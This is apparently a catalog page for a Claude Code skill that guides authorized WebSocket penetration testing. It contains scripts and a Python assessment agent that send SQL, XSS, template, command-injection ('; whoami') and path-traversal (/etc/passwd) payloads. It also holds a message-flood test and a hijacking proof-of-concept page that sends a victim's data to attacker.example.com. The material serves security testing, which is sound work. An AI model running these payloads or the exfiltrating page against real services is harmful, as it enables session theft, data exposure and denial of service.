
Exploiting Websocket Vulnerabilities
- 195 installs
- 27.3k repo stars
- Updated August 2, 2026
- mukul975/anthropic-cybersecurity-skills
Helps with security tasks.
About
exploiting-websocket-vulnerabilities is a Claude Code skill for security. It helps solo builders move faster with AI-assisted coding.
- exploiting-websocket-vulnerabilities
- Security
- AI-coding skill
Exploiting Websocket Vulnerabilities by the numbers
- 195 all-time installs (skills.sh)
- +18 installs in the week ending Aug 4, 2026 (Skillselion tracking)
- Ranked #782 of 2,203 Security skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/mukul975/anthropic-cybersecurity-skills --skill exploiting-websocket-vulnerabilitiesAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 195 |
|---|---|
| repo stars | ★ 27.3k |
| Last updated | August 2, 2026 |
| Repository | mukul975/anthropic-cybersecurity-skills ↗ |
What it does
Helps with security tasks.
Files
Exploiting WebSocket Vulnerabilities
When to Use
- During authorized penetration tests when the application uses WebSocket connections for real-time features
- When assessing chat applications, live notifications, trading platforms, or collaborative editing tools
- For testing WebSocket API endpoints for authentication and authorization flaws
- When evaluating real-time data streams for injection vulnerabilities
- During security assessments of applications using Socket.IO, SignalR, or native WebSocket APIs
Prerequisites
- Authorization: Written penetration testing agreement covering WebSocket testing
- Burp Suite Professional: With WebSocket interception capability
- Browser DevTools: Network tab for WebSocket frame inspection
- websocat: Command-line WebSocket client (
cargo install websocat) - wscat: Node.js WebSocket client (
npm install -g wscat) - Python websockets: For scripting custom WebSocket attacks (
pip install websockets)
Workflow
Step 1: Discover and Enumerate WebSocket Endpoints
Identify WebSocket connections in the application.
# Check for WebSocket upgrade in response headers
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com/ws"
# Common WebSocket endpoint paths
for path in /ws /websocket /socket /socket.io /signalr /hub \
/chat /notifications /live /stream /realtime /api/ws; do
echo -n "$path: "
status=$(curl -s -o /dev/null -w "%{http_code}" \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
"https://target.example.com$path")
echo "$status"
done
# Check for Socket.IO
curl -s "https://target.example.com/socket.io/?EIO=4&transport=polling"
# Check for SignalR
curl -s "https://target.example.com/signalr/negotiate"
# In browser DevTools:
# Network tab > Filter: WS
# Look for ws:// or wss:// connections
# Examine the upgrade request and WebSocket framesStep 2: Test WebSocket Authentication
Verify that WebSocket connections require proper authentication.
# Test connection without authentication
wscat -c "wss://target.example.com/ws"
# If connection succeeds without tokens, auth is missing
# Test with expired/invalid token
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=invalid_or_expired_token"
# Test connection with stolen/replayed session
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_from_another_user"
# Test token in WebSocket URL parameter
wscat -c "wss://target.example.com/ws?token=invalid_token"
# Test if authentication is only checked at connection time
# Connect with valid token, then check if messages still work
# after the token expires or the user logs out
# Using Python for automated testing
python3 << 'PYEOF'
import asyncio
import websockets
async def test_no_auth():
try:
async with websockets.connect("wss://target.example.com/ws") as ws:
print("Connected WITHOUT authentication!")
# Try sending a message
await ws.send('{"type":"get_data","resource":"users"}')
response = await ws.recv()
print(f"Response: {response}")
except Exception as e:
print(f"Connection failed: {e}")
asyncio.run(test_no_auth())
PYEOFStep 3: Test Cross-Site WebSocket Hijacking (CSWSH)
Check if the WebSocket handshake is vulnerable to cross-site attacks.
# Check Origin header validation on WebSocket upgrade
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Origin: https://evil.example.com" \
"https://target.example.com/ws"
# If 101 Switching Protocols: Origin not validated (vulnerable to CSWSH)
# If 403: Origin validation is working<!-- Cross-Site WebSocket Hijacking PoC -->
<!-- Host on attacker-controlled server -->
<html>
<head><title>CSWSH PoC</title></head>
<body>
<h1>Cross-Site WebSocket Hijacking</h1>
<div id="messages"></div>
<script>
// This connects to the target's WebSocket using the victim's cookies
var ws = new WebSocket("wss://target.example.com/ws");
ws.onopen = function() {
console.log("WebSocket connected (using victim's session)");
// Request sensitive data through the WebSocket
ws.send(JSON.stringify({type: "get_messages", channel: "private"}));
ws.send(JSON.stringify({type: "get_profile"}));
};
ws.onmessage = function(event) {
console.log("Data stolen: " + event.data);
document.getElementById("messages").innerText += event.data + "\n";
// Exfiltrate to attacker server
fetch("https://attacker.example.com/collect", {
method: "POST",
body: event.data
});
};
ws.onerror = function(error) {
console.log("WebSocket error: " + error);
};
</script>
</body>
</html>Step 4: Test WebSocket Message Injection
Assess WebSocket messages for injection vulnerabilities.
# Using wscat for manual message injection testing
wscat -c "wss://target.example.com/ws" \
-H "Cookie: session=valid_session_token"
# Once connected, send test messages:
# SQL injection in WebSocket message
# > {"action":"search","query":"' OR 1=1--"}
# XSS payload in chat message
# > {"type":"message","content":"<script>alert(document.cookie)</script>"}
# > {"type":"message","content":"<img src=x onerror=alert(1)>"}
# Command injection
# > {"action":"ping","host":"127.0.0.1; whoami"}
# Path traversal
# > {"action":"read_file","path":"../../../etc/passwd"}
# IDOR in WebSocket messages
# > {"action":"get_messages","channel_id":1}
# > {"action":"get_messages","channel_id":2} (another user's channel)
# Automated injection testing with Python
python3 << 'PYEOF'
import asyncio
import websockets
import json
PAYLOADS = [
{"action": "search", "query": "' OR 1=1--"},
{"action": "search", "query": "<script>alert(1)</script>"},
{"action": "search", "query": "{{7*7}}"},
{"action": "search", "query": "${7*7}"},
{"action": "read", "file": "../../../etc/passwd"},
{"action": "exec", "cmd": "; whoami"},
]
async def test_injections():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
for payload in PAYLOADS:
await ws.send(json.dumps(payload))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Payload: {json.dumps(payload)}")
print(f"Response: {response}\n")
except asyncio.TimeoutError:
print(f"Timeout for: {json.dumps(payload)}\n")
asyncio.run(test_injections())
PYEOFStep 5: Test WebSocket Authorization and Rate Limiting
Check if message-level authorization and abuse controls are enforced.
# Test accessing other users' data via WebSocket
python3 << 'PYEOF'
import asyncio
import websockets
import json
async def test_authz():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=user_a_session"}
) as ws:
# Try accessing User B's private data
messages = [
{"type": "subscribe", "channel": "user_b_private"},
{"type": "get_history", "user_id": "user_b_id"},
{"type": "admin_action", "action": "list_users"},
{"type": "send_message", "to": "admin", "as": "admin"},
]
for msg in messages:
await ws.send(json.dumps(msg))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
print(f"Sent: {json.dumps(msg)}")
print(f"Received: {response}\n")
except asyncio.TimeoutError:
print(f"No response for: {json.dumps(msg)}\n")
asyncio.run(test_authz())
PYEOF
# Test rate limiting on WebSocket messages
python3 << 'PYEOF'
import asyncio
import websockets
import json
import time
async def test_rate_limit():
async with websockets.connect(
"wss://target.example.com/ws",
extra_headers={"Cookie": "session=valid_token"}
) as ws:
start = time.time()
for i in range(1000):
await ws.send(json.dumps({
"type": "message",
"content": f"Flood message {i}"
}))
elapsed = time.time() - start
print(f"Sent 1000 messages in {elapsed:.2f} seconds")
print("If no rate limiting, DoS is possible")
asyncio.run(test_rate_limit())
PYEOFStep 6: Test WebSocket Encryption and Protocol Security
Verify transport security and protocol-level protections.
# Check if WebSocket uses WSS (encrypted) or WS (plaintext)
# WS (ws://) traffic can be intercepted by network attackers
# Check for mixed protocols
# Application on HTTPS but WebSocket on WS = insecure
curl -s "https://target.example.com/" | grep -oP "ws://[^\"']+"
# Should only find wss:// (encrypted WebSocket)
# Test Sec-WebSocket-Protocol header handling
wscat -c "wss://target.example.com/ws" \
-H "Sec-WebSocket-Protocol: admin-protocol"
# Test for compression side-channel (CRIME-like attacks)
# Check if Sec-WebSocket-Extensions includes permessage-deflate
curl -s -I \
-H "Upgrade: websocket" \
-H "Connection: Upgrade" \
-H "Sec-WebSocket-Key: dGhlIHNhbXBsZSBub25jZQ==" \
-H "Sec-WebSocket-Version: 13" \
-H "Sec-WebSocket-Extensions: permessage-deflate" \
"https://target.example.com/ws" | grep -i "sec-websocket-extensions"
# permessage-deflate with secrets in messages can leak data via compression
# Test WebSocket connection persistence
# Check if server implements proper timeouts and connection limitsKey Concepts
| Concept | Description |
|---|---|
| WebSocket Handshake | HTTP upgrade request that transitions the connection from HTTP to WebSocket protocol |
| CSWSH | Cross-Site WebSocket Hijacking - exploiting missing Origin validation to hijack sessions |
| Origin Validation | Server-side check that the WebSocket upgrade request comes from a trusted origin |
| Message-level Authorization | Verifying permissions for each WebSocket message, not just at connection time |
| WSS | WebSocket Secure - encrypted WebSocket connection over TLS (equivalent to HTTPS) |
| Socket.IO | Popular WebSocket library with automatic fallback to HTTP long-polling |
| Ping/Pong Frames | WebSocket keepalive mechanism; can be abused for timing attacks |
Tools & Systems
| Tool | Purpose |
|---|---|
| Burp Suite Professional | WebSocket interception, modification, and history analysis |
| wscat | Command-line WebSocket client for manual testing |
| websocat | Versatile command-line WebSocket client written in Rust |
| Browser DevTools | Network tab WS filter for inspecting WebSocket frames |
| Socket.IO Client | Testing Socket.IO-based WebSocket implementations |
| Python websockets | Scripting automated WebSocket attack sequences |
Common Scenarios
Scenario 1: Chat Application CSWSH
A real-time chat application validates the user's cookie during the WebSocket handshake but does not check the Origin header. An attacker hosts a page that opens a WebSocket to the chat server, stealing the victim's private messages.
Scenario 2: Trading Platform Message Injection
A trading platform processes WebSocket messages containing order parameters. SQL injection in the symbol field of an order message allows extracting the entire order database through error-based SQLi.
Scenario 3: Missing Message Authorization
A collaboration tool checks user authentication at WebSocket connection time but does not verify authorization for individual messages. After connecting, a regular user sends admin-level commands to delete workspaces and export user data.
Scenario 4: Notification Channel IDOR
A notification system subscribes users to channels via WebSocket messages containing channel IDs. Changing the channel ID allows any user to subscribe to any other user's private notification channel.
Output Format
## WebSocket Security Assessment Report
**Vulnerability**: Cross-Site WebSocket Hijacking (CSWSH)
**Severity**: High (CVSS 8.1)
**Location**: wss://target.example.com/ws
**OWASP Category**: A01:2021 - Broken Access Control
### WebSocket Configuration
| Property | Value |
|----------|-------|
| Protocol | WSS (encrypted) |
| Library | Socket.IO 4.x |
| Authentication | Cookie-based session |
| Origin Validation | NOT ENFORCED |
| Message Authorization | NOT ENFORCED |
| Rate Limiting | NOT IMPLEMENTED |
### Findings
| Finding | Severity |
|---------|----------|
| CSWSH - No Origin validation | High |
| Missing message-level authorization | High |
| XSS via chat message injection | Medium |
| No rate limiting on messages | Medium |
| Channel IDOR (subscribe to any channel) | High |
| WebSocket open after logout | Medium |
### Impact
- Private message exfiltration via CSWSH
- Account impersonation through unauthorized message sending
- Cross-channel data access affecting all users
- DoS via message flooding (no rate limits)
### Recommendation
1. Validate the Origin header during WebSocket handshake
2. Implement CSRF tokens in the WebSocket upgrade request
3. Enforce authorization checks on every WebSocket message
4. Sanitize all user input in WebSocket messages (prevent XSS/SQLi)
5. Implement message rate limiting per connection
6. Invalidate WebSocket connections on logout or session expiration
7. Use per-message authentication tokens rather than relying solely on the initial handshake
Apache License
Version 2.0, January 2004
http://www.apache.org/licenses/
TERMS AND CONDITIONS FOR USE, REPRODUCTION, AND DISTRIBUTION
1. Definitions.
"License" shall mean the terms and conditions for use, reproduction,
and distribution as defined by Sections 1 through 9 of this document.
"Licensor" shall mean the copyright owner or entity authorized by
the copyright owner that is granting the License.
"Legal Entity" shall mean the union of the acting entity and all
other entities that control, are controlled by, or are under common
control with that entity. For the purposes of this definition,
"control" means (i) the power, direct or indirect, to cause the
direction or management of such entity, whether by contract or
otherwise, or (ii) ownership of fifty percent (50%) or more of the
outstanding shares, or (iii) beneficial ownership of such entity.
"You" (or "Your") shall mean an individual or Legal Entity
exercising permissions granted by this License.
"Source" form shall mean the preferred form for making modifications,
including but not limited to software source code, documentation
source, and configuration files.
"Object" form shall mean any form resulting from mechanical
transformation or translation of a Source form, including but
not limited to compiled object code, generated documentation,
and conversions to other media types.
"Work" shall mean the work of authorship, whether in Source or
Object form, made available under the License, as indicated by a
copyright notice that is included in or attached to the work
(an example is provided in the Appendix below).
"Derivative Works" shall mean any work, whether in Source or Object
form, that is based on (or derived from) the Work and for which the
editorial revisions, annotations, elaborations, or other modifications
represent, as a whole, an original work of authorship. For the purposes
of this License, Derivative Works shall not include works that remain
separable from, or merely link (or bind by name) to the interfaces of,
the Work and Derivative Works thereof.
"Contribution" shall mean any work of authorship, including
the original version of the Work and any modifications or additions
to that Work or Derivative Works thereof, that is intentionally
submitted to the Licensor for inclusion in the Work by the copyright owner
or by an individual or Legal Entity authorized to submit on behalf of
the copyright owner. For the purposes of this definition, "submitted"
means any form of electronic, verbal, or written communication sent
to the Licensor or its representatives, including but not limited to
communication on electronic mailing lists, source code control systems,
and issue tracking systems that are managed by, or on behalf of, the
Licensor for the purpose of discussing and improving the Work, but
excluding communication that is conspicuously marked or otherwise
designated in writing by the copyright owner as "Not a Contribution."
"Contributor" shall mean Licensor and any individual or Legal Entity
on behalf of whom a Contribution has been received by the Licensor and
subsequently incorporated within the Work.
2. Grant of Copyright License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
copyright license to reproduce, prepare Derivative Works of,
publicly display, publicly perform, sublicense, and distribute the
Work and such Derivative Works in Source or Object form.
3. Grant of Patent License. Subject to the terms and conditions of
this License, each Contributor hereby grants to You a perpetual,
worldwide, non-exclusive, no-charge, royalty-free, irrevocable
(except as stated in this section) patent license to make, have made,
use, offer to sell, sell, import, and otherwise transfer the Work,
where such license applies only to those patent claims licensable
by such Contributor that are necessarily infringed by their
Contribution(s) alone or by combination of their Contribution(s)
with the Work to which such Contribution(s) was submitted. If You
institute patent litigation against any entity (including a
cross-claim or counterclaim in a lawsuit) alleging that the Work
or a Contribution incorporated within the Work constitutes direct
or contributory patent infringement, then any patent licenses
granted to You under this License for that Work shall terminate
as of the date such litigation is filed.
4. Redistribution. You may reproduce and distribute copies of the
Work or Derivative Works thereof in any medium, with or without
modifications, and in Source or Object form, provided that You
meet the following conditions:
(a) You must give any other recipients of the Work or
Derivative Works a copy of this License; and
(b) You must cause any modified files to carry prominent notices
stating that You changed the files; and
(c) You must retain, in the Source form of any Derivative Works
that You distribute, all copyright, patent, trademark, and
attribution notices from the Source form of the Work,
excluding those notices that do not pertain to any part of
the Derivative Works; and
(d) If the Work includes a "NOTICE" text file as part of its
distribution, then any Derivative Works that You distribute must
include a readable copy of the attribution notices contained
within such NOTICE file, excluding any notices that do not
pertain to any part of the Derivative Works, in at least one
of the following places: within a NOTICE text file distributed
as part of the Derivative Works; within the Source form or
documentation, if provided along with the Derivative Works; or,
within a display generated by the Derivative Works, if and
wherever such third-party notices normally appear. The contents
of the NOTICE file are for informational purposes only and
do not modify the License. You may add Your own attribution
notices within Derivative Works that You distribute, alongside
or as an addendum to the NOTICE text from the Work, provided
that such additional attribution notices cannot be construed
as modifying the License.
You may add Your own copyright statement to Your modifications and
may provide additional or different license terms and conditions
for use, reproduction, or distribution of Your modifications, or
for any such Derivative Works as a whole, provided Your use,
reproduction, and distribution of the Work otherwise complies with
the conditions stated in this License.
5. Submission of Contributions. Unless You explicitly state otherwise,
any Contribution intentionally submitted for inclusion in the Work
by You to the Licensor shall be under the terms and conditions of
this License, without any additional terms or conditions.
Notwithstanding the above, nothing herein shall supersede or modify
the terms of any separate license agreement you may have executed
with Licensor regarding such Contributions.
6. Trademarks. This License does not grant permission to use the trade
names, trademarks, service marks, or product names of the Licensor,
except as required for reasonable and customary use in describing the
origin of the Work and reproducing the content of the NOTICE file.
7. Disclaimer of Warranty. Unless required by applicable law or
agreed to in writing, Licensor provides the Work (and each
Contributor provides its Contributions) on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or
implied, including, without limitation, any warranties or conditions
of TITLE, NON-INFRINGEMENT, MERCHANTABILITY, or FITNESS FOR A
PARTICULAR PURPOSE. You are solely responsible for determining the
appropriateness of using or redistributing the Work and assume any
risks associated with Your exercise of permissions under this License.
8. Limitation of Liability. In no event and under no legal theory,
whether in tort (including negligence), contract, or otherwise,
unless required by applicable law (such as deliberate and grossly
negligent acts) or agreed to in writing, shall any Contributor be
liable to You for damages, including any direct, indirect, special,
incidental, or consequential damages of any character arising as a
result of this License or out of the use or inability to use the
Work (including but not limited to damages for loss of goodwill,
work stoppage, computer failure or malfunction, or any and all
other commercial damages or losses), even if such Contributor
has been advised of the possibility of such damages.
9. Accepting Warranty or Additional Liability. While redistributing
the Work or Derivative Works thereof, You may choose to offer,
and charge a fee for, acceptance of support, warranty, indemnity,
or other liability obligations and/or rights consistent with this
License. However, in accepting such obligations, You may act only
on Your own behalf and on Your sole responsibility, not on behalf
of any other Contributor, and only if You agree to indemnify,
defend, and hold each Contributor harmless for any liability
incurred by, or claims asserted against, such Contributor by reason
of your accepting any such warranty or additional liability.
END OF TERMS AND CONDITIONS
APPENDIX: How to apply the Apache License to your work.
To apply the Apache License to your work, attach the following
boilerplate notice, with the fields enclosed by brackets "[]"
replaced with your own identifying information. (Don't include
the brackets!) The text should be enclosed in the appropriate
comment syntax for the file format. Please do not remove or change
the license header comment from a contributed file except when
necessary.
Copyright 2026 mukul975
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing, software
distributed under the License is distributed on an "AS IS" BASIS,
WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
See the License for the specific language governing permissions and
limitations under the License.
API Reference: WebSocket Vulnerability Assessment Agent
Dependencies
| Library | Version | Purpose |
|---|---|---|
| websockets | >=11.0 | Async WebSocket client for connection and message testing |
| requests | >=2.28 | HTTP-level WebSocket handshake inspection |
CLI Usage
python scripts/agent.py \
--url wss://target.example.com/ws \
--cookie "session=abc123" \
--output ws_report.jsonFunctions
discover_ws_endpoints(base_url) -> list
Probes 9 common WebSocket paths with upgrade headers to find endpoints.
test_origin_validation(ws_url, cookie) -> dict
Sends WebSocket upgrade requests with evil Origin headers. Acceptance indicates CSWSH risk.
test_no_auth_connect(ws_url) -> dict (async)
Attempts WebSocket connection without any authentication tokens.
test_message_injection(ws_url, cookie) -> list (async)
Sends 6 injection payloads (SQLi, XSS, SSTI, path traversal, command injection) and checks responses.
test_idor_channels(ws_url, cookie, channel_ids) -> list (async)
Subscribes to channels 1-5 to test for IDOR in channel access.
test_rate_limiting(ws_url, cookie, count) -> dict (async)
Sends 100 rapid messages and checks if the connection is throttled or closed.
run_assessment(ws_url, cookie) -> dict
Orchestrates all tests and compiles findings.
websockets Library Usage
| Method | Purpose |
|---|---|
websockets.connect(url, extra_headers) | Async context manager for WS connection |
ws.send(data) | Send a text frame |
ws.recv() | Receive next frame |
asyncio.wait_for(ws.recv(), timeout) | Receive with timeout |
Output Schema
{
"target": "wss://target.example.com/ws",
"origin_validation": {"cswsh_vulnerable": true},
"unauthenticated_access": {"connected": false},
"injection_tests": [{"payload": {"query": "' OR 1=1--"}, "suspicious": true}],
"rate_limiting": {"rate_limited": false},
"findings": ["HIGH: Cross-Site WebSocket Hijacking possible"]
}#!/usr/bin/env python3
# For authorized testing in lab/CTF environments only
"""WebSocket vulnerability assessment agent using websockets and requests."""
import argparse
import asyncio
import json
import logging
import sys
from typing import List, Optional
try:
import websockets
except ImportError:
sys.exit("websockets is required: pip install websockets")
try:
import requests
except ImportError:
sys.exit("requests is required: pip install requests")
logging.basicConfig(level=logging.INFO, format="%(asctime)s [%(levelname)s] %(message)s")
logger = logging.getLogger(__name__)
def discover_ws_endpoints(base_url: str) -> List[dict]:
"""Probe common WebSocket endpoint paths."""
paths = ["/ws", "/websocket", "/socket", "/socket.io/?EIO=4&transport=polling",
"/signalr/negotiate", "/chat", "/notifications", "/live", "/api/ws"]
found = []
for path in paths:
try:
resp = requests.get(f"{base_url}{path}", timeout=5, verify=False,
headers={"Upgrade": "websocket", "Connection": "Upgrade",
"Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==",
"Sec-WebSocket-Version": "13"})
if resp.status_code in (101, 200, 400):
found.append({"path": path, "status": resp.status_code})
except requests.RequestException:
continue
logger.info("Found %d potential WebSocket endpoints", len(found))
return found
def test_origin_validation(ws_url: str, cookie: str = "") -> dict:
"""Test if the WebSocket server validates the Origin header."""
evil_origins = ["https://evil.example.com", "https://attacker.com", "null"]
results = []
for origin in evil_origins:
headers = {"Origin": origin}
if cookie:
headers["Cookie"] = cookie
try:
resp = requests.get(
ws_url.replace("wss://", "https://").replace("ws://", "http://"),
headers={**headers, "Upgrade": "websocket", "Connection": "Upgrade",
"Sec-WebSocket-Key": "dGhlIHNhbXBsZSBub25jZQ==",
"Sec-WebSocket-Version": "13"},
timeout=5, verify=False,
)
results.append({
"origin": origin,
"status_code": resp.status_code,
"accepted": resp.status_code == 101,
})
except requests.RequestException as exc:
results.append({"origin": origin, "error": str(exc)})
cswsh_vulnerable = any(r.get("accepted") for r in results)
return {"test": "origin_validation", "results": results, "cswsh_vulnerable": cswsh_vulnerable}
async def test_no_auth_connect(ws_url: str) -> dict:
"""Test if WebSocket connection succeeds without authentication."""
try:
async with websockets.connect(ws_url, open_timeout=5) as ws:
return {"test": "no_auth", "connected": True, "risk": "HIGH"}
except Exception as exc:
return {"test": "no_auth", "connected": False, "error": str(exc)}
async def test_message_injection(ws_url: str, cookie: str = "") -> List[dict]:
"""Test WebSocket messages for injection vulnerabilities."""
injection_payloads = [
{"action": "search", "query": "' OR 1=1--"},
{"action": "search", "query": "<script>alert(1)</script>"},
{"action": "search", "query": "{{7*7}}"},
{"action": "search", "query": "${7*7}"},
{"action": "read", "file": "../../../etc/passwd"},
{"action": "exec", "cmd": "; whoami"},
]
headers = {}
if cookie:
headers["Cookie"] = cookie
results = []
try:
async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
for payload in injection_payloads:
await ws.send(json.dumps(payload))
try:
response = await asyncio.wait_for(ws.recv(), timeout=5)
results.append({
"payload": payload,
"response": response[:300],
"suspicious": any(kw in response.lower() for kw in
["error", "sql", "root:", "uid=", "49"]),
})
except asyncio.TimeoutError:
results.append({"payload": payload, "response": "TIMEOUT"})
except Exception as exc:
results.append({"error": str(exc)})
return results
async def test_idor_channels(ws_url: str, cookie: str = "",
channel_ids: Optional[List[int]] = None) -> List[dict]:
"""Test for IDOR by subscribing to other users' channels."""
ids = channel_ids or list(range(1, 6))
results = []
headers = {"Cookie": cookie} if cookie else {}
try:
async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
for cid in ids:
msg = json.dumps({"type": "subscribe", "channel_id": cid})
await ws.send(msg)
try:
resp = await asyncio.wait_for(ws.recv(), timeout=5)
results.append({"channel_id": cid, "response": resp[:200], "accessible": "error" not in resp.lower()})
except asyncio.TimeoutError:
results.append({"channel_id": cid, "response": "TIMEOUT"})
except Exception as exc:
results.append({"error": str(exc)})
return results
async def test_rate_limiting(ws_url: str, cookie: str = "", count: int = 100) -> dict:
"""Test if message rate limiting is enforced."""
import time
headers = {"Cookie": cookie} if cookie else {}
try:
async with websockets.connect(ws_url, extra_headers=headers, open_timeout=5) as ws:
start = time.time()
sent = 0
for i in range(count):
try:
await ws.send(json.dumps({"type": "ping", "seq": i}))
sent += 1
except websockets.ConnectionClosed:
break
elapsed = time.time() - start
return {
"test": "rate_limiting",
"messages_sent": sent,
"target_count": count,
"elapsed_seconds": round(elapsed, 2),
"rate_limited": sent < count,
}
except Exception as exc:
return {"test": "rate_limiting", "error": str(exc)}
def run_assessment(ws_url: str, cookie: str = "") -> dict:
"""Run complete WebSocket security assessment."""
origin_test = test_origin_validation(ws_url, cookie)
loop = asyncio.new_event_loop()
no_auth = loop.run_until_complete(test_no_auth_connect(ws_url))
injections = loop.run_until_complete(test_message_injection(ws_url, cookie))
idor = loop.run_until_complete(test_idor_channels(ws_url, cookie))
rate = loop.run_until_complete(test_rate_limiting(ws_url, cookie))
loop.close()
findings = []
if origin_test.get("cswsh_vulnerable"):
findings.append("HIGH: Cross-Site WebSocket Hijacking possible (no Origin validation)")
if no_auth.get("connected"):
findings.append("HIGH: WebSocket accepts unauthenticated connections")
if any(i.get("suspicious") for i in injections if isinstance(i, dict)):
findings.append("MEDIUM: Potential injection in WebSocket messages")
if not rate.get("rate_limited", True):
findings.append("MEDIUM: No message rate limiting detected")
return {
"target": ws_url,
"origin_validation": origin_test,
"unauthenticated_access": no_auth,
"injection_tests": injections,
"idor_tests": idor,
"rate_limiting": rate,
"findings": findings,
}
def main():
parser = argparse.ArgumentParser(description="WebSocket Vulnerability Assessment Agent")
parser.add_argument("--url", required=True, help="WebSocket URL (wss://...)")
parser.add_argument("--cookie", default="", help="Session cookie")
parser.add_argument("--output", default="websocket_report.json")
args = parser.parse_args()
report = run_assessment(args.url, args.cookie)
with open(args.output, "w") as f:
json.dump(report, f, indent=2)
logger.info("Report saved to %s", args.output)
print(json.dumps(report, indent=2))
if __name__ == "__main__":
main()